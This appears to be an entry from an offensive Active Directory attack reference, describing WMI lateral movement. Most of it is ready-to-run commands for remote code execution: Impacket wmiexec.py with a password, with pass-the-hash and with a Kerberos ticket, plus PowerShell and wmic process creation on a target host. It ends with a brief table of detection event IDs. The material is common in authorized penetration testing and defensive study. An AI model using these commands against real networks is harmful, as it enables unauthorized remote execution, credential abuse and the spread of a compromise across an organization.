AD ^: Active Directory

Attack #58 — WMI Lateral Movement

WMI (Windows Management Instrumentation) enables remote process execution via the Win32_Process.Create() method. WMI-based execution is the stealthiest…

advanced updated 2026-08-10 Impacket · PowerShell

⚫ Attack #58 — WMI Lateral Movement


📖 How It Works

WMI (Windows Management Instrumentation) enables remote process execution via the Win32_Process.Create() method. WMI-based execution is the stealthiest Impacket execution method — it doesn’t create services, doesn’t write files to disk, and runs commands in the context of the authenticated user (not SYSTEM).


⚙️ Prerequisites

RequirementDetail
Local admin on targetRequired for WMI access
WMI / DCOM portsTCP 135 + dynamic RPC

💻 Full Commands

# ── Impacket wmiexec.py (best stealth) ────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── PtH ───────────────────────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos ──────────────────────────────────────────────────────────────────
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── Single command ────────────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "ipconfig /all"
# ── Native PowerShell / wmic ──────────────────────────────────────────────────
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\out.txt" -ComputerName TARGET
wmic /node:TARGET process call create "cmd.exe /c whoami > C:\Temp\out.txt"

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogLogon Type 3 via WMI
4688Security Logcmd.exe spawned by WmiPrvSE.exe

Attack #58 — WMI Lateral Movement complete.